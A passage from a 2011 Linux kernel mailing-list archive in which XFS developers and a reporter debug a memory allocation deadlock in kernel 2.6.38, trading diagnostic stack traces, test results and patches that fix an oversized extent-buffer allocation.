cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59350 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, Mar 29, 2011 at 04:02:56PM -0400, 'Christoph Hellwig' wrote: > On Tue, Mar 29, 2011 at 03:46:21PM -0400, Sean Noonan wrote: > > > Can you check if the brute force patch below helps? > > > > No such luck. > > Actually thinking about it - we never do the vmalloc under any fs lock, > so this can't be the reason. But nothing else in the patch spring to > mind either, so to narrow this down does reverting the patch on > 2.6.38 also fix it? The revert isn't quite trivial due to changes > since then, so here's the patch I came up with: > > > Index: xfs/fs/xfs/linux-2.6/kmem.c > =================================================================== > --- xfs.orig/fs/xfs/linux-2.6/kmem.c 2011-03-29 21:55:12.871726512 +0200 > +++ xfs/fs/xfs/linux-2.6/kmem.c 2011-03-29 21:55:31.648723706 +0200 > @@ -16,6 +16,7 @@ > * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > */ > #include > +#include > #include > #include > #include > @@ -25,25 +26,8 @@ > #include "kmem.h" > #include "xfs_message.h" > > -/* > - * Greedy allocation. May fail and may return vmalloced memory. > - * > - * Must be freed using kmem_free_large. > - */ > -void * > -kmem_zalloc_greedy(size_t *size, size_t minsize, size_t maxsize) > -{ > - void *ptr; > - size_t kmsize = maxsize; > - > - while (!(ptr = kmem_zalloc_large(kmsize))) { > - if ((kmsize >>= 1) <= minsize) > - kmsize = minsize; > - } > - if (ptr) > - *size = kmsize; > - return ptr; > -} > +#define MAX_VMALLOCS 6 > +#define MAX_SLAB_SIZE 0x20000 Why those values for the magic numbers? .... > Index: xfs/fs/xfs/quota/xfs_qm.c > =================================================================== > --- xfs.orig/fs/xfs/quota/xfs_qm.c 2011-03-29 21:55:12.859726589 +0200 > +++ xfs/fs/xfs/quota/xfs_qm.c 2011-03-29 21:55:41.387278609 +0200 > @@ -110,11 +110,12 @@ xfs_Gqm_init(void) > */ > udqhash = kmem_zalloc_greedy(&hsize, > XFS_QM_HASHSIZE_LOW * sizeof(xfs_dqhash_t), > - XFS_QM_HASHSIZE_HIGH * sizeof(xfs_dqhash_t)); > + XFS_QM_HASHSIZE_HIGH * sizeof(xfs_dqhash_t), > + KM_SLEEP | KM_MAYFAIL | KM_LARGE); > if (!udqhash) > goto out; > > - gdqhash = kmem_zalloc_large(hsize); > + gdqhash = kmem_zalloc(hsize, KM_SLEEP | KM_LARGE); Needs a KM_MAYFAIL as well? > if (!gdqhash) > goto out_free_udqhash; > .... > Index: xfs/fs/xfs/xfs_itable.c > =================================================================== > --- xfs.orig/fs/xfs/xfs_itable.c 2011-03-29 21:55:12.851725366 +0200 > +++ xfs/fs/xfs/xfs_itable.c 2011-03-29 21:55:31.660724287 +0200 > @@ -259,10 +259,8 @@ xfs_bulkstat( > (XFS_INODE_CLUSTER_SIZE(mp) >> mp->m_sb.sb_inodelog); > nimask = ~(nicluster - 1); > nbcluster = nicluster >> mp->m_sb.sb_inopblog; > - irbuf = kmem_zalloc_greedy(&irbsize, PAGE_SIZE, PAGE_SIZE * 4); > - if (!irbuf) > - return ENOMEM; > - > + irbuf = kmem_zalloc_greedy(&irbsize, PAGE_SIZE, PAGE_SIZE * 4, > + KM_SLEEP | KM_MAYFAIL | KM_LARGE); > nirbuf = irbsize / sizeof(*irbuf); Need to keep the if (!irbuf) check as KM_MAYFAIL is passed. Cheers, Dave -- Dave Chinner david@fromorbit.com From Sean.Noonan@twosigma.com Tue Mar 29 17:42:08 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2TMg7gP254326 for ; Tue, 29 Mar 2011 17:42:07 -0500 X-ASG-Debug-ID: 1301438717-0e2d01e50000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx5.twosigma.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id E741B1141C28 for ; Tue, 29 Mar 2011 15:45:17 -0700 (PDT) Received: from mx5.twosigma.com (mx5.twosigma.com [208.77.212.35]) by cuda.sgi.com with ESMTP id Y9GUIeotBxPyGrBq for ; Tue, 29 Mar 2011 15:45:17 -0700 (PDT) Received: by mx5.twosigma.com (Postfix, from userid 108) id F1C573DDA6E; Tue, 29 Mar 2011 22:45:16 +0000 (UTC) Received: from msxaoa3.twosigma.com (nfw2-1-dmz.twosigma.com [38.117.134.174]) by mx5.twosigma.com (Postfix) with ESMTP id B2BC83DDA36; Tue, 29 Mar 2011 22:45:16 +0000 (UTC) Received: from msxaoa6.twosigma.com ([fe80:0000:0000:0000:5d02:8f37:242.212.227.132]) by msxaoa3.twosigma.com ([192.168.200.135]) with mapi; Tue, 29 Mar 2011 18:45:16 -0400 From: Sean Noonan To: "'Dave Chinner'" , "'Christoph Hellwig'" CC: Trammell Hudson , Christos Zoulas , Martin Bligh , "'linux-kernel@vger.kernel.org'" , Stephen Degler , "'linux-mm@kvack.org'" , "'linux-xfs@oss.sgi.com'" , "'Michel Lespinasse'" Date: Tue, 29 Mar 2011 18:45:15 -0400 X-ASG-Orig-Subj: RE: XFS memory allocation deadlock in 2.6.38 Subject: RE: XFS memory allocation deadlock in 2.6.38 Thread-Topic: XFS memory allocation deadlock in 2.6.38 Thread-Index: AcvuYpz7hovhsA6oREKqH6av+QvnaAAADQxQ Message-ID: <081DDE43F61F3D43929A181B477DCA95639B5361@MSXAOA6.twosigma.com> References: <081DDE43F61F3D43929A181B477DCA95639B5327@MSXAOA6.twosigma.com> <20110324174311.GA31576@infradead.org> <081DDE43F61F3D43929A181B477DCA95639B5349@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B534E@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5359@MSXAOA6.twosigma.com> <20110329192434.GA10536@infradead.org> <081DDE43F61F3D43929A181B477DCA95639B535C@MSXAOA6.twosigma.com> <20110329200256.GA6019@infradead.org> <20110329224230.GH3008@dastard> In-Reply-To: <20110329224230.GH3008@dastard> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Barracuda-Connect: mx5.twosigma.com[208.77.212.35] X-Barracuda-Start-Time: 1301438717 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.79 X-Barracuda-Spam-Status: No, SCORE=-1.79 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=RCVD_ILLEGAL_IP X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59350 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.23 RCVD_ILLEGAL_IP Received: contains illegal IP address X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > Need to keep the if (!irbuf) check as KM_MAYFAIL is passed. It wasn't in before the bug presented, so leaving it in wouldn't be a true = test as to whether the bug has been tracked to the correct place. I'll tes= t again with the if (!irbuf). Sean From david@fromorbit.com Tue Mar 29 19:06:38 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_66 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2U06bjQ257877 for ; Tue, 29 Mar 2011 19:06:38 -0500 X-ASG-Debug-ID: 1301443785-795903170000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail07.adl2.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id D38FF37FF29 for ; Tue, 29 Mar 2011 17:09:46 -0700 (PDT) Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id lFnOoAHigJZFnufx for ; Tue, 29 Mar 2011 17:09:46 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkkGAFhykk15LK5JTmdsb2JhbAClUAsBASADIyW+BA2FXQQ Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail07.adl2.internode.on.net with ESMTP; 30 Mar 2011 10:39:44 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q4iyk-00051I-Fu; Wed, 30 Mar 2011 11:09:42 +1100 Date: Wed, 30 Mar 2011 11:09:42 +1100 From: Dave Chinner To: Sean Noonan Cc: "'Christoph Hellwig'" , "'Michel Lespinasse'" , "'linux-kernel@vger.kernel.org'" , Martin Bligh , Trammell Hudson , Christos Zoulas , "'linux-xfs@oss.sgi.com'" , Stephen Degler , "'linux-mm@kvack.org'" X-ASG-Orig-Subj: Re: XFS memory allocation deadlock in 2.6.38 Subject: Re: XFS memory allocation deadlock in 2.6.38 Message-ID: <20110330000942.GI3008@dastard> References: <081DDE43F61F3D43929A181B477DCA95639B52FD@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5327@MSXAOA6.twosigma.com> <20110324174311.GA31576@infradead.org> <081DDE43F61F3D43929A181B477DCA95639B5349@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B534E@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5359@MSXAOA6.twosigma.com> <20110329192434.GA10536@infradead.org> <081DDE43F61F3D43929A181B477DCA95639B535D@MSXAOA6.twosigma.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <081DDE43F61F3D43929A181B477DCA95639B535D@MSXAOA6.twosigma.com> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1301443787 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59355 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, Mar 29, 2011 at 03:54:12PM -0400, Sean Noonan wrote: > > Can you check if the brute force patch below helps? > > Not sure if this helps at all, but here is the stack from all three processes involved. This is without MAP_POPULATE and with the patch you just sent. > > # ps aux | grep 'D[+]*[[:space:]]' > USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND > root 2314 0.2 0.0 0 0 ? D 19:44 0:00 [flush-8:0] > root 2402 0.0 0.0 0 0 ? D 19:44 0:00 [xfssyncd/sda9] > root 3861 2.6 9.9 16785280 4912848 pts/0 D+ 19:45 0:07 ./vmtest /xfs/hugefile.dat 17179869184 > > # for p in 2314 2402 3861; do echo $p; cat /proc/$p/stack; done > 2314 > [] congestion_wait+0x7a/0x130 > [] kmem_alloc+0x6c/0xf0 > [] xfs_inode_item_format+0x36e/0x3b0 > [] xfs_log_commit_cil+0x4f/0x3b0 > [] _xfs_trans_commit+0x1f1/0x2b0 > [] xfs_iomap_write_allocate+0x1a6/0x340 > [] xfs_map_blocks+0x193/0x2c0 > [] xfs_vm_writepage+0x1ca/0x520 > [] __writepage+0x12/0x40 > [] write_cache_pages+0x1dd/0x4f0 > [] generic_writepages+0x4c/0x70 > [] xfs_vm_writepages+0x58/0x70 > [] do_writepages+0x1c/0x40 > [] writeback_single_inode+0xf1/0x240 > [] writeback_sb_inodes+0xdd/0x1b0 > [] writeback_inodes_wb+0x76/0x160 > [] wb_writeback+0x343/0x550 > [] wb_do_writeback+0x186/0x2e0 > [] bdi_writeback_thread+0xc2/0x310 > [] kthread+0x96/0xa0 > [] kernel_thread_helper+0x4/0x10 > [] 0xffffffffffffffff So, it's trying to allocate a buffer for the inode extent list, so should only be a couple of hundred bytes, and at most ~2kB if you are using large inodes. That still doesn't seem like it should be having memory allocation problems here with 44GB of free RAM.... Hmmmm. I wonder - the process is doing a random walk of 16GB, so it's probably created tens of thousands of delayed allocation extents before any real allocation was done. xfs_inode_item_format() uses the in-core data fork size for the extent buffer allocation which in this case would be much larger than what can possibly fit inside the inode data fork. Lets see - worst case is 8GB of sparse blocks, which is 2^21 delalloc blocks, which gives a worst case allocation size of 2^21 * sizeof(struct xfs_bmbt_rec), which is roughly 64MB. Which would overflow the return value. Even at 1k delalloc extents, we'll be asking for an order-15 allocation when all we really need is an order-0 allocation. Ok, so that looks like root cause of the problem. can you try the patch below to see if it fixes the problem (without any other patches applied or reverted). Cheers,, Dave. -- Dave Chinner david@fromorbit.com xfs: fix extent format buffer allocation size From: Dave Chinner When formatting an inode item, we have to allocate a separate buffer to hold extents when there are delayed allocation extents on the inode and it is in extent format. The allocation size is derived from the in-core data fork representation, which accounts for delayed allocation extents, while the on-disk representation does not contain any delalloc extents. As a result of this mismatch, the allocated buffer can be far larger than needed to hold the real extent list which, due to the fact the inode is in extent format, is limited to the size of the literal area of the inode. However, we can have thousands of delalloc extents, resulting in an allocation size orders of magnitude larger than is needed to hold all the real extents. Fix this by limiting the size of the buffer being allocated to the size of the literal area of the inodes in the filesystem (i.e. the maximum size an inode fork can grow to). Signed-off-by: Dave Chinner --- fs/xfs/xfs_inode_item.c | 69 ++++++++++++++++++++++++++++------------------ 1 files changed, 42 insertions(+), 27 deletions(-) diff --git a/fs/xfs/xfs_inode_item.c b/fs/xfs/xfs_inode_item.c index 46cc401..12cdc39 100644 --- a/fs/xfs/xfs_inode_item.c +++ b/fs/xfs/xfs_inode_item.c @@ -198,6 +198,43 @@ xfs_inode_item_size( } /* + * xfs_inode_item_format_extents - convert in-core extents to on-disk form + * + * For either the data or attr fork in extent format, we need to endian convert + * the in-core extent as we place them into the on-disk inode. In this case, we + * ned to do this conversion before we write the extents into the log. Because + * we don't have the disk inode to write into here, we allocate a buffer and + * format the extents into it via xfs_iextents_copy(). We free the buffer in + * the unlock routine after the copy for the log has been made. + * + * For the data fork, there can be delayed allocation extents + * in the inode as well, so the in-core data fork can be much larger than the + * on-disk data representation of real inodes. Hence we need to limit the size + * of the allocation to what will fit in the inode fork, otherwise we could be + * asking for excessively large allocation sizes. + */ +STATIC void +xfs_inode_item_format_extents( + struct xfs_inode *ip, + struct xfs_log_iovec *vecp, + int whichfork, + int type) +{ + xfs_bmbt_rec_t *ext_buffer; + + ext_buffer = kmem_alloc(XFS_IFORK_SIZE(ip, whichfork), + KM_SLEEP | KM_NOFS); + if (whichfork == XFS_DATA_FORK) + ip->i_itemp->ili_extents_buf = ext_buffer; + else + ip->i_itemp->ili_aextents_buf = ext_buffer; + + vecp->i_addr = ext_buffer; + vecp->i_len = xfs_iextents_copy(ip, ext_buffer, whichfork); + vecp->i_type = type; +} + +/* * This is called to fill in the vector of log iovecs for the * given inode log item. It fills the first item with an inode * log format structure, the second with the on-disk inode structure, @@ -213,7 +250,6 @@ xfs_inode_item_format( struct xfs_inode *ip = iip->ili_inode; uint nvecs; size_t data_bytes; - xfs_bmbt_rec_t *ext_buffer; xfs_mount_t *mp; vecp->i_addr = &iip->ili_format; @@ -320,22 +356,8 @@ xfs_inode_item_format( } else #endif { - /* - * There are delayed allocation extents - * in the inode, or we need to convert - * the extents to on disk format. - * Use xfs_iextents_copy() - * to copy only the real extents into - * a separate buffer. We'll free the - * buffer in the unlock routine. - */ - ext_buffer = kmem_alloc(ip->i_df.if_bytes, - KM_SLEEP); - iip->ili_extents_buf = ext_buffer; - vecp->i_addr = ext_buffer; - vecp->i_len = xfs_iextents_copy(ip, ext_buffer, - XFS_DATA_FORK); - vecp->i_type = XLOG_REG_TYPE_IEXT; + xfs_inode_item_format_extents(ip, vecp, + XFS_DATA_FORK, XLOG_REG_TYPE_IEXT); } ASSERT(vecp->i_len <= ip->i_df.if_bytes); iip->ili_format.ilf_dsize = vecp->i_len; @@ -445,19 +467,12 @@ xfs_inode_item_format( */ vecp->i_addr = ip->i_afp->if_u1.if_extents; vecp->i_len = ip->i_afp->if_bytes; + vecp->i_type = XLOG_REG_TYPE_IATTR_EXT; #else ASSERT(iip->ili_aextents_buf == NULL); - /* - * Need to endian flip before logging - */ - ext_buffer = kmem_alloc(ip->i_afp->if_bytes, - KM_SLEEP); - iip->ili_aextents_buf = ext_buffer; - vecp->i_addr = ext_buffer; - vecp->i_len = xfs_iextents_copy(ip, ext_buffer, - XFS_ATTR_FORK); + xfs_inode_item_format_extents(ip, vecp, + XFS_ATTR_FORK, XLOG_REG_TYPE_IATTR_EXT); #endif - vecp->i_type = XLOG_REG_TYPE_IATTR_EXT; iip->ili_format.ilf_asize = vecp->i_len; vecp++; nvecs++; From Sean.Noonan@twosigma.com Tue Mar 29 20:28:58 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2U1SvLo261399 for ; Tue, 29 Mar 2011 20:28:58 -0500 X-ASG-Debug-ID: 1301448728-0abc01140000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx5.twosigma.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id 732C2144A416 for ; Tue, 29 Mar 2011 18:32:08 -0700 (PDT) Received: from mx5.twosigma.com (mx5.twosigma.com [208.77.212.35]) by cuda.sgi.com with SMTP id bhpu5xMAcTqVWdua for ; Tue, 29 Mar 2011 18:32:08 -0700 (PDT) Received: by mx5.twosigma.com (Postfix, from userid 108) id B91FB3DDA80; Wed, 30 Mar 2011 01:32:07 +0000 (UTC) Received: from msxaoa3.twosigma.com (nfw2-1-dmz.twosigma.com [38.117.134.174]) by mx5.twosigma.com (Postfix) with ESMTP id 6A31D3DDA7B; Wed, 30 Mar 2011 01:32:07 +0000 (UTC) Received: from pfxaoa1.twosigma.com (192.168.200.120) by msxaoa3.twosigma.com (192.168.200.135) with Microsoft SMTP Server (TLS) id 8.1.340.0; Tue, 29 Mar 2011 21:32:07 -0400 Received: from msxaoa6.twosigma.com ([fe80:0000:0000:0000:5d02:8f37:242.212.227.132]) by pfxaoa1.twosigma.com ([192.168.200.120]) with mapi; Tue, 29 Mar 2011 21:32:06 -0400 From: Sean Noonan To: "'Dave Chinner'" CC: "'Christoph Hellwig'" , "'Michel Lespinasse'" , "'linux-kernel@vger.kernel.org'" , Martin Bligh , Trammell Hudson , Christos Zoulas , "'linux-xfs@oss.sgi.com'" , Stephen Degler , "'linux-mm@kvack.org'" Date: Tue, 29 Mar 2011 21:32:06 -0400 X-ASG-Orig-Subj: RE: XFS memory allocation deadlock in 2.6.38 Subject: RE: XFS memory allocation deadlock in 2.6.38 Thread-Topic: XFS memory allocation deadlock in 2.6.38 Thread-Index: Acvubs3lAgbl/pL5S5SKyjAXFGp9pQAChB/A Message-ID: <081DDE43F61F3D43929A181B477DCA95639B5364@MSXAOA6.twosigma.com> References: <081DDE43F61F3D43929A181B477DCA95639B52FD@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5327@MSXAOA6.twosigma.com> <20110324174311.GA31576@infradead.org> <081DDE43F61F3D43929A181B477DCA95639B5349@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B534E@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5359@MSXAOA6.twosigma.com> <20110329192434.GA10536@infradead.org> <081DDE43F61F3D43929A181B477DCA95639B535D@MSXAOA6.twosigma.com> <20110330000942.GI3008@dastard> In-Reply-To: <20110330000942.GI3008@dastard> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Barracuda-Connect: mx5.twosigma.com[208.77.212.35] X-Barracuda-Start-Time: 1301448728 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0009 1.0000 -2.0149 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.78 X-Barracuda-Spam-Status: No, SCORE=-1.78 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=RCVD_ILLEGAL_IP X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59361 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.23 RCVD_ILLEGAL_IP Received: contains illegal IP address X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > Ok, so that looks like root cause of the problem. can you try the > patch below to see if it fixes the problem (without any other > patches applied or reverted). It looks like this does fix the deadlock problem. However, it appears to c= ome at the price of significantly higher mmap startup costs. =20 # ./vmtest /xfs/hugefile.dat $(( 16 * 1024 * 1024 * 1024 )) /xfs/d-1/hugefile.dat: mapped 17179869184 bytes in 324387362198 ticks Sean From david@fromorbit.com Tue Mar 29 20:40:54 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2U1esYV000512 for ; Tue, 29 Mar 2011 20:40:54 -0500 X-ASG-Debug-ID: 1301449443-1bba01110000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail07.adl2.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 8373615A40EB for ; Tue, 29 Mar 2011 18:44:03 -0700 (PDT) Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 5AcGzo45H2fILcbi for ; Tue, 29 Mar 2011 18:44:03 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjoFAHeHkk15LK5JTmdsb2JhbAClUAsBASADIyW/cw2FXQQ Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail07.adl2.internode.on.net with ESMTP; 30 Mar 2011 12:14:02 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q4kS1-0005De-0M; Wed, 30 Mar 2011 12:44:01 +1100 Date: Wed, 30 Mar 2011 12:44:00 +1100 From: Dave Chinner To: Sean Noonan Cc: "'Christoph Hellwig'" , "'Michel Lespinasse'" , "'linux-kernel@vger.kernel.org'" , Martin Bligh , Trammell Hudson , Christos Zoulas , "'linux-xfs@oss.sgi.com'" , Stephen Degler , "'linux-mm@kvack.org'" X-ASG-Orig-Subj: Re: XFS memory allocation deadlock in 2.6.38 Subject: Re: XFS memory allocation deadlock in 2.6.38 Message-ID: <20110330014400.GK3008@dastard> References: <20110324174311.GA31576@infradead.org> <081DDE43F61F3D43929A181B477DCA95639B5349@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B534E@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5359@MSXAOA6.twosigma.com> <20110329192434.GA10536@infradead.org> <081DDE43F61F3D43929A181B477DCA95639B535D@MSXAOA6.twosigma.com> <20110330000942.GI3008@dastard> <081DDE43F61F3D43929A181B477DCA95639B5364@MSXAOA6.twosigma.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <081DDE43F61F3D43929A181B477DCA95639B5364@MSXAOA6.twosigma.com> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1301449444 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59362 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, Mar 29, 2011 at 09:32:06PM -0400, Sean Noonan wrote: > > Ok, so that looks like root cause of the problem. can you try the > > patch below to see if it fixes the problem (without any other > > patches applied or reverted). > > It looks like this does fix the deadlock problem. However, it > appears to come at the price of significantly higher mmap startup > costs. It shouldn't make any difference to startup costs with the current code uses read faults to populate the region and that doesn't cause any allocation to occur and hence this code is not executed during the populate phase. Is this repeatable or is it just a one-off result? Cheers, Dave. -- Dave Chinner david@fromorbit.com From Sean.Noonan@twosigma.com Tue Mar 29 20:52:13 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2U1qDkE000999 for ; Tue, 29 Mar 2011 20:52:13 -0500 X-ASG-Debug-ID: 1301450123-5e1e01d70000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx5.twosigma.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id 112DF38B1E5 for ; Tue, 29 Mar 2011 18:55:23 -0700 (PDT) Received: from mx5.twosigma.com (mx5.twosigma.com [208.77.212.35]) by cuda.sgi.com with SMTP id 44YofG5gGR5GbWwS for ; Tue, 29 Mar 2011 18:55:23 -0700 (PDT) Received: by mx5.twosigma.com (Postfix, from userid 108) id 2B9463DDA80; Wed, 30 Mar 2011 01:55:23 +0000 (UTC) Received: from MSXAOA6.twosigma.com (nfw2-1-dmz.twosigma.com [38.117.134.174]) by mx5.twosigma.com (Postfix) with ESMTP id C53B93DDA88; Wed, 30 Mar 2011 01:54:42 +0000 (UTC) Received: from msxaoa6.twosigma.com ([fe80::5d02:8f37:f2d4:e384]) by MSXAOA6.twosigma.com ([fe80::5d02:8f37:f2d4:e384%11]) with mapi; Tue, 29 Mar 2011 21:53:01 -0400 From: Sean Noonan To: "'Dave Chinner'" CC: "'Christoph Hellwig'" , "'Michel Lespinasse'" , "'linux-kernel@vger.kernel.org'" , Martin Bligh , Trammell Hudson , Christos Zoulas , "'linux-xfs@oss.sgi.com'" , Stephen Degler , "'linux-mm@kvack.org'" Date: Tue, 29 Mar 2011 21:52:59 -0400 X-ASG-Orig-Subj: RE: XFS memory allocation deadlock in 2.6.38 Subject: RE: XFS memory allocation deadlock in 2.6.38 Thread-Topic: XFS memory allocation deadlock in 2.6.38 Thread-Index: Acvue/cwCBZjlARwRB2wMxd07xceLAAACPwQ Message-ID: <081DDE43F61F3D43929A181B477DCA95639B5365@MSXAOA6.twosigma.com> References: <20110324174311.GA31576@infradead.org> <081DDE43F61F3D43929A181B477DCA95639B5349@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B534E@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5359@MSXAOA6.twosigma.com> <20110329192434.GA10536@infradead.org> <081DDE43F61F3D43929A181B477DCA95639B535D@MSXAOA6.twosigma.com> <20110330000942.GI3008@dastard> <081DDE43F61F3D43929A181B477DCA95639B5364@MSXAOA6.twosigma.com> <20110330014400.GK3008@dastard> In-Reply-To: <20110330014400.GK3008@dastard> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Barracuda-Connect: mx5.twosigma.com[208.77.212.35] X-Barracuda-Start-Time: 1301450124 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0001 1.0000 -2.0202 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com 